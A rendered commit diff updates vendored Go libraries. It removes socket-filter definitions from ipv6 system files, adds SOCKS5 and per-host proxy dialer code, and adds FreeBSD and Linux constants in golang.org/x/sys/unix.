|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips64le.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips64le.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_mipsle.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_mipsle.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -155,16 +150,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -155,16 +150,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc64.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc64.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc64le.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_ppc64le.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
17
vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go
generated
vendored
17
vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go
generated
vendored
@ -86,9 +86,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -100,8 +97,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -159,15 +154,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_s390x.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_s390x.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
54
vendor/golang.org/x/net/proxy/dial.go
generated
vendored
Normal file
54
vendor/golang.org/x/net/proxy/dial.go
generated
vendored
Normal file
@ -0,0 +1,54 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
)
|
||||
|
||||
// A ContextDialer dials using a context.
|
||||
type ContextDialer interface {
|
||||
DialContext(ctx context.Context, network, address string) (net.Conn, error)
|
||||
}
|
||||
|
||||
// Dial works like DialContext on net.Dialer but using a dialer returned by FromEnvironment.
|
||||
//
|
||||
// The passed ctx is only used for returning the Conn, not the lifetime of the Conn.
|
||||
//
|
||||
// Custom dialers (registered via RegisterDialerType) that do not implement ContextDialer
|
||||
// can leak a goroutine for as long as it takes the underlying Dialer implementation to timeout.
|
||||
//
|
||||
// A Conn returned from a successful Dial after the context has been cancelled will be immediately closed.
|
||||
func Dial(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
d := FromEnvironment()
|
||||
if xd, ok := d.(ContextDialer); ok {
|
||||
return xd.DialContext(ctx, network, address)
|
||||
}
|
||||
return dialContext(ctx, d, network, address)
|
||||
}
|
||||
|
||||
// WARNING: this can leak a goroutine for as long as the underlying Dialer implementation takes to timeout
|
||||
// A Conn returned from a successful Dial after the context has been cancelled will be immediately closed.
|
||||
func dialContext(ctx context.Context, d Dialer, network, address string) (net.Conn, error) {
|
||||
var (
|
||||
conn net.Conn
|
||||
done = make(chan struct{}, 1)
|
||||
err error
|
||||
)
|
||||
go func() {
|
||||
conn, err = d.Dial(network, address)
|
||||
close(done)
|
||||
if conn != nil && ctx.Err() != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
err = ctx.Err()
|
||||
case <-done:
|
||||
}
|
||||
return conn, err
|
||||
}
|
31
vendor/golang.org/x/net/proxy/direct.go
generated
vendored
Normal file
31
vendor/golang.org/x/net/proxy/direct.go
generated
vendored
Normal file
@ -0,0 +1,31 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
)
|
||||
|
||||
type direct struct{}
|
||||
|
||||
// Direct implements Dialer by making network connections directly using net.Dial or net.DialContext.
|
||||
var Direct = direct{}
|
||||
|
||||
var (
|
||||
_ Dialer = Direct
|
||||
_ ContextDialer = Direct
|
||||
)
|
||||
|
||||
// Dial directly invokes net.Dial with the supplied parameters.
|
||||
func (direct) Dial(network, addr string) (net.Conn, error) {
|
||||
return net.Dial(network, addr)
|
||||
}
|
||||
|
||||
// DialContext instantiates a net.Dialer and invokes its DialContext receiver with the supplied parameters.
|
||||
func (direct) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
var d net.Dialer
|
||||
return d.DialContext(ctx, network, addr)
|
||||
}
|
155
vendor/golang.org/x/net/proxy/per_host.go
generated
vendored
Normal file
155
vendor/golang.org/x/net/proxy/per_host.go
generated
vendored
Normal file
@ -0,0 +1,155 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// A PerHost directs connections to a default Dialer unless the host name
|
||||
// requested matches one of a number of exceptions.
|
||||
type PerHost struct {
|
||||
def, bypass Dialer
|
||||
|
||||
bypassNetworks []*net.IPNet
|
||||
bypassIPs []net.IP
|
||||
bypassZones []string
|
||||
bypassHosts []string
|
||||
}
|
||||
|
||||
// NewPerHost returns a PerHost Dialer that directs connections to either
|
||||
// defaultDialer or bypass, depending on whether the connection matches one of
|
||||
// the configured rules.
|
||||
func NewPerHost(defaultDialer, bypass Dialer) *PerHost {
|
||||
return &PerHost{
|
||||
def: defaultDialer,
|
||||
bypass: bypass,
|
||||
}
|
||||
}
|
||||
|
||||
// Dial connects to the address addr on the given network through either
|
||||
// defaultDialer or bypass.
|
||||
func (p *PerHost) Dial(network, addr string) (c net.Conn, err error) {
|
||||
host, _, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return p.dialerForRequest(host).Dial(network, addr)
|
||||
}
|
||||
|
||||
// DialContext connects to the address addr on the given network through either
|
||||
// defaultDialer or bypass.
|
||||
func (p *PerHost) DialContext(ctx context.Context, network, addr string) (c net.Conn, err error) {
|
||||
host, _, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d := p.dialerForRequest(host)
|
||||
if x, ok := d.(ContextDialer); ok {
|
||||
return x.DialContext(ctx, network, addr)
|
||||
}
|
||||
return dialContext(ctx, d, network, addr)
|
||||
}
|
||||
|
||||
func (p *PerHost) dialerForRequest(host string) Dialer {
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
for _, net := range p.bypassNetworks {
|
||||
if net.Contains(ip) {
|
||||
return p.bypass
|
||||
}
|
||||
}
|
||||
for _, bypassIP := range p.bypassIPs {
|
||||
if bypassIP.Equal(ip) {
|
||||
return p.bypass
|
||||
}
|
||||
}
|
||||
return p.def
|
||||
}
|
||||
|
||||
for _, zone := range p.bypassZones {
|
||||
if strings.HasSuffix(host, zone) {
|
||||
return p.bypass
|
||||
}
|
||||
if host == zone[1:] {
|
||||
// For a zone ".example.com", we match "example.com"
|
||||
// too.
|
||||
return p.bypass
|
||||
}
|
||||
}
|
||||
for _, bypassHost := range p.bypassHosts {
|
||||
if bypassHost == host {
|
||||
return p.bypass
|
||||
}
|
||||
}
|
||||
return p.def
|
||||
}
|
||||
|
||||
// AddFromString parses a string that contains comma-separated values
|
||||
// specifying hosts that should use the bypass proxy. Each value is either an
|
||||
// IP address, a CIDR range, a zone (*.example.com) or a host name
|
||||
// (localhost). A best effort is made to parse the string and errors are
|
||||
// ignored.
|
||||
func (p *PerHost) AddFromString(s string) {
|
||||
hosts := strings.Split(s, ",")
|
||||
for _, host := range hosts {
|
||||
host = strings.TrimSpace(host)
|
||||
if len(host) == 0 {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(host, "/") {
|
||||
// We assume that it's a CIDR address like 127.0.0.0/8
|
||||
if _, net, err := net.ParseCIDR(host); err == nil {
|
||||
p.AddNetwork(net)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
p.AddIP(ip)
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(host, "*.") {
|
||||
p.AddZone(host[1:])
|
||||
continue
|
||||
}
|
||||
p.AddHost(host)
|
||||
}
|
||||
}
|
||||
|
||||
// AddIP specifies an IP address that will use the bypass proxy. Note that
|
||||
// this will only take effect if a literal IP address is dialed. A connection
|
||||
// to a named host will never match an IP.
|
||||
func (p *PerHost) AddIP(ip net.IP) {
|
||||
p.bypassIPs = append(p.bypassIPs, ip)
|
||||
}
|
||||
|
||||
// AddNetwork specifies an IP range that will use the bypass proxy. Note that
|
||||
// this will only take effect if a literal IP address is dialed. A connection
|
||||
// to a named host will never match.
|
||||
func (p *PerHost) AddNetwork(net *net.IPNet) {
|
||||
p.bypassNetworks = append(p.bypassNetworks, net)
|
||||
}
|
||||
|
||||
// AddZone specifies a DNS suffix that will use the bypass proxy. A zone of
|
||||
// "example.com" matches "example.com" and all of its subdomains.
|
||||
func (p *PerHost) AddZone(zone string) {
|
||||
if strings.HasSuffix(zone, ".") {
|
||||
zone = zone[:len(zone)-1]
|
||||
}
|
||||
if !strings.HasPrefix(zone, ".") {
|
||||
zone = "." + zone
|
||||
}
|
||||
p.bypassZones = append(p.bypassZones, zone)
|
||||
}
|
||||
|
||||
// AddHost specifies a host name that will use the bypass proxy.
|
||||
func (p *PerHost) AddHost(host string) {
|
||||
if strings.HasSuffix(host, ".") {
|
||||
host = host[:len(host)-1]
|
||||
}
|
||||
p.bypassHosts = append(p.bypassHosts, host)
|
||||
}
|
149
vendor/golang.org/x/net/proxy/proxy.go
generated
vendored
Normal file
149
vendor/golang.org/x/net/proxy/proxy.go
generated
vendored
Normal file
@ -0,0 +1,149 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package proxy provides support for a variety of protocols to proxy network
|
||||
// data.
|
||||
package proxy // import "golang.org/x/net/proxy"
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// A Dialer is a means to establish a connection.
|
||||
// Custom dialers should also implement ContextDialer.
|
||||
type Dialer interface {
|
||||
// Dial connects to the given address via the proxy.
|
||||
Dial(network, addr string) (c net.Conn, err error)
|
||||
}
|
||||
|
||||
// Auth contains authentication parameters that specific Dialers may require.
|
||||
type Auth struct {
|
||||
User, Password string
|
||||
}
|
||||
|
||||
// FromEnvironment returns the dialer specified by the proxy-related
|
||||
// variables in the environment and makes underlying connections
|
||||
// directly.
|
||||
func FromEnvironment() Dialer {
|
||||
return FromEnvironmentUsing(Direct)
|
||||
}
|
||||
|
||||
// FromEnvironmentUsing returns the dialer specify by the proxy-related
|
||||
// variables in the environment and makes underlying connections
|
||||
// using the provided forwarding Dialer (for instance, a *net.Dialer
|
||||
// with desired configuration).
|
||||
func FromEnvironmentUsing(forward Dialer) Dialer {
|
||||
allProxy := allProxyEnv.Get()
|
||||
if len(allProxy) == 0 {
|
||||
return forward
|
||||
}
|
||||
|
||||
proxyURL, err := url.Parse(allProxy)
|
||||
if err != nil {
|
||||
return forward
|
||||
}
|
||||
proxy, err := FromURL(proxyURL, forward)
|
||||
if err != nil {
|
||||
return forward
|
||||
}
|
||||
|
||||
noProxy := noProxyEnv.Get()
|
||||
if len(noProxy) == 0 {
|
||||
return proxy
|
||||
}
|
||||
|
||||
perHost := NewPerHost(proxy, forward)
|
||||
perHost.AddFromString(noProxy)
|
||||
return perHost
|
||||
}
|
||||
|
||||
// proxySchemes is a map from URL schemes to a function that creates a Dialer
|
||||
// from a URL with such a scheme.
|
||||
var proxySchemes map[string]func(*url.URL, Dialer) (Dialer, error)
|
||||
|
||||
// RegisterDialerType takes a URL scheme and a function to generate Dialers from
|
||||
// a URL with that scheme and a forwarding Dialer. Registered schemes are used
|
||||
// by FromURL.
|
||||
func RegisterDialerType(scheme string, f func(*url.URL, Dialer) (Dialer, error)) {
|
||||
if proxySchemes == nil {
|
||||
proxySchemes = make(map[string]func(*url.URL, Dialer) (Dialer, error))
|
||||
}
|
||||
proxySchemes[scheme] = f
|
||||
}
|
||||
|
||||
// FromURL returns a Dialer given a URL specification and an underlying
|
||||
// Dialer for it to make network requests.
|
||||
func FromURL(u *url.URL, forward Dialer) (Dialer, error) {
|
||||
var auth *Auth
|
||||
if u.User != nil {
|
||||
auth = new(Auth)
|
||||
auth.User = u.User.Username()
|
||||
if p, ok := u.User.Password(); ok {
|
||||
auth.Password = p
|
||||
}
|
||||
}
|
||||
|
||||
switch u.Scheme {
|
||||
case "socks5", "socks5h":
|
||||
addr := u.Hostname()
|
||||
port := u.Port()
|
||||
if port == "" {
|
||||
port = "1080"
|
||||
}
|
||||
return SOCKS5("tcp", net.JoinHostPort(addr, port), auth, forward)
|
||||
}
|
||||
|
||||
// If the scheme doesn't match any of the built-in schemes, see if it
|
||||
// was registered by another package.
|
||||
if proxySchemes != nil {
|
||||
if f, ok := proxySchemes[u.Scheme]; ok {
|
||||
return f(u, forward)
|
||||
}
|
||||
}
|
||||
|
||||
return nil, errors.New("proxy: unknown scheme: " + u.Scheme)
|
||||
}
|
||||
|
||||
var (
|
||||
allProxyEnv = &envOnce{
|
||||
names: []string{"ALL_PROXY", "all_proxy"},
|
||||
}
|
||||
noProxyEnv = &envOnce{
|
||||
names: []string{"NO_PROXY", "no_proxy"},
|
||||
}
|
||||
)
|
||||
|
||||
// envOnce looks up an environment variable (optionally by multiple
|
||||
// names) once. It mitigates expensive lookups on some platforms
|
||||
// (e.g. Windows).
|
||||
// (Borrowed from net/http/transport.go)
|
||||
type envOnce struct {
|
||||
names []string
|
||||
once sync.Once
|
||||
val string
|
||||
}
|
||||
|
||||
func (e *envOnce) Get() string {
|
||||
e.once.Do(e.init)
|
||||
return e.val
|
||||
}
|
||||
|
||||
func (e *envOnce) init() {
|
||||
for _, n := range e.names {
|
||||
e.val = os.Getenv(n)
|
||||
if e.val != "" {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// reset is used by tests
|
||||
func (e *envOnce) reset() {
|
||||
e.once = sync.Once{}
|
||||
e.val = ""
|
||||
}
|
42
vendor/golang.org/x/net/proxy/socks5.go
generated
vendored
Normal file
42
vendor/golang.org/x/net/proxy/socks5.go
generated
vendored
Normal file
@ -0,0 +1,42 @@
|
||||
// Copyright 2011 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
|
||||
"golang.org/x/net/internal/socks"
|
||||
)
|
||||
|
||||
// SOCKS5 returns a Dialer that makes SOCKSv5 connections to the given
|
||||
// address with an optional username and password.
|
||||
// See RFC 1928 and RFC 1929.
|
||||
func SOCKS5(network, address string, auth *Auth, forward Dialer) (Dialer, error) {
|
||||
d := socks.NewDialer(network, address)
|
||||
if forward != nil {
|
||||
if f, ok := forward.(ContextDialer); ok {
|
||||
d.ProxyDial = func(ctx context.Context, network string, address string) (net.Conn, error) {
|
||||
return f.DialContext(ctx, network, address)
|
||||
}
|
||||
} else {
|
||||
d.ProxyDial = func(ctx context.Context, network string, address string) (net.Conn, error) {
|
||||
return dialContext(ctx, forward, network, address)
|
||||
}
|
||||
}
|
||||
}
|
||||
if auth != nil {
|
||||
up := socks.UsernamePassword{
|
||||
Username: auth.User,
|
||||
Password: auth.Password,
|
||||
}
|
||||
d.AuthMethods = []socks.AuthMethod{
|
||||
socks.AuthMethodNotRequired,
|
||||
socks.AuthMethodUsernamePassword,
|
||||
}
|
||||
d.Authenticate = up.Authenticate
|
||||
}
|
||||
return d, nil
|
||||
}
|
11
vendor/golang.org/x/sys/unix/README.md
generated
vendored
11
vendor/golang.org/x/sys/unix/README.md
generated
vendored
@ -149,6 +149,17 @@ To add a constant, add the header that includes it to the appropriate variable.
|
||||
Then, edit the regex (if necessary) to match the desired constant. Avoid making
|
||||
the regex too broad to avoid matching unintended constants.
|
||||
|
||||
### mkmerge.go
|
||||
|
||||
This program is used to extract duplicate const, func, and type declarations
|
||||
from the generated architecture-specific files listed below, and merge these
|
||||
into a common file for each OS.
|
||||
|
||||
The merge is performed in the following steps:
|
||||
1. Construct the set of common code that is idential in all architecture-specific files.
|
||||
2. Write this common code to the merged file.
|
||||
3. Remove the common code from all architecture-specific files.
|
||||
|
||||
|
||||
## Generated files
|
||||
|
||||
|
7
vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
generated
vendored
7
vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
generated
vendored
@ -23,10 +23,6 @@ TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
|
||||
MOV a1+8(FP), A0
|
||||
MOV a2+16(FP), A1
|
||||
MOV a3+24(FP), A2
|
||||
MOV $0, A3
|
||||
MOV $0, A4
|
||||
MOV $0, A5
|
||||
MOV $0, A6
|
||||
MOV trap+0(FP), A7 // syscall entry
|
||||
ECALL
|
||||
MOV A0, r1+32(FP) // r1
|
||||
@ -44,9 +40,6 @@ TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
|
||||
MOV a1+8(FP), A0
|
||||
MOV a2+16(FP), A1
|
||||
MOV a3+24(FP), A2
|
||||
MOV ZERO, A3
|
||||
MOV ZERO, A4
|
||||
MOV ZERO, A5
|
||||
MOV trap+0(FP), A7 // syscall entry
|
||||
ECALL
|
||||
MOV A0, r1+32(FP)
|
||||
|
1
vendor/golang.org/x/sys/unix/bluetooth_linux.go
generated
vendored
1
vendor/golang.org/x/sys/unix/bluetooth_linux.go
generated
vendored
@ -23,6 +23,7 @@ const (
|
||||
HCI_CHANNEL_USER = 1
|
||||
HCI_CHANNEL_MONITOR = 2
|
||||
HCI_CHANNEL_CONTROL = 3
|
||||
HCI_CHANNEL_LOGGING = 4
|
||||
)
|
||||
|
||||
// Socketoption Level
|
||||
|
6
vendor/golang.org/x/sys/unix/errors_freebsd_386.go
generated
vendored
6
vendor/golang.org/x/sys/unix/errors_freebsd_386.go
generated
vendored
@ -8,6 +8,7 @@
|
||||
package unix
|
||||
|
||||
const (
|
||||
DLT_HHDLC = 0x79
|
||||
IFF_SMART = 0x20
|
||||
IFT_1822 = 0x2
|
||||
IFT_A12MPPSWITCH = 0x82
|
||||
@ -210,13 +211,18 @@ const (
|
||||
IFT_XETHER = 0x1a
|
||||
IPPROTO_MAXID = 0x34
|
||||
IPV6_FAITH = 0x1d
|
||||
IPV6_MIN_MEMBERSHIPS = 0x1f
|
||||
IP_FAITH = 0x16
|
||||
IP_MAX_SOURCE_FILTER = 0x400
|
||||
IP_MIN_MEMBERSHIPS = 0x1f
|
||||
MAP_NORESERVE = 0x40
|
||||
MAP_RENAME = 0x20
|
||||
NET_RT_MAXID = 0x6
|
||||
RTF_PRCLONING = 0x10000
|
||||
RTM_OLDADD = 0x9
|
||||
RTM_OLDDEL = 0xa
|
||||
RT_CACHING_CONTEXT = 0x1
|
||||
RT_NORTREF = 0x2
|
||||
SIOCADDRT = 0x8030720a
|
||||
SIOCALIFADDR = 0x8118691b
|
||||
SIOCDELRT = 0x8030720b
|
||||
|
6
vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
generated
vendored
6
vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
generated
vendored
@ -8,6 +8,7 @@
|
||||
package unix
|
||||
|
||||
const (
|
||||
DLT_HHDLC = 0x79
|
||||
IFF_SMART = 0x20
|
||||
IFT_1822 = 0x2
|
||||
IFT_A12MPPSWITCH = 0x82
|
||||
@ -210,13 +211,18 @@ const (
|
||||
IFT_XETHER = 0x1a
|
||||
IPPROTO_MAXID = 0x34
|
||||
IPV6_FAITH = 0x1d
|
||||
IPV6_MIN_MEMBERSHIPS = 0x1f
|
||||
IP_FAITH = 0x16
|
||||
IP_MAX_SOURCE_FILTER = 0x400
|
||||
IP_MIN_MEMBERSHIPS = 0x1f
|
||||
MAP_NORESERVE = 0x40
|
||||
MAP_RENAME = 0x20
|
||||
NET_RT_MAXID = 0x6
|
||||
RTF_PRCLONING = 0x10000
|
||||
RTM_OLDADD = 0x9
|
||||
RTM_OLDDEL = 0xa
|
||||
RT_CACHING_CONTEXT = 0x1
|
||||
RT_NORTREF = 0x2
|
||||
SIOCADDRT = 0x8040720a
|
||||
SIOCALIFADDR = 0x8118691b
|
||||
SIOCDELRT = 0x8040720b
|
||||
|
17
vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
generated
vendored
Normal file
17
vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
generated
vendored
Normal file
@ -0,0 +1,17 @@
|
||||
// Copyright 2020 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Constants that were deprecated or moved to enums in the FreeBSD headers. Keep
|
||||
// them here for backwards compatibility.
|
||||
|
||||
package unix
|
||||
|
||||
const (
|
||||
DLT_HHDLC = 0x79
|
||||
IPV6_MIN_MEMBERSHIPS = 0x1f
|
||||
IP_MAX_SOURCE_FILTER = 0x400
|
||||
IP_MIN_MEMBERSHIPS = 0x1f
|
||||
RT_CACHING_CONTEXT = 0x1
|
||||
RT_NORTREF = 0x2
|
||||
)
|
12
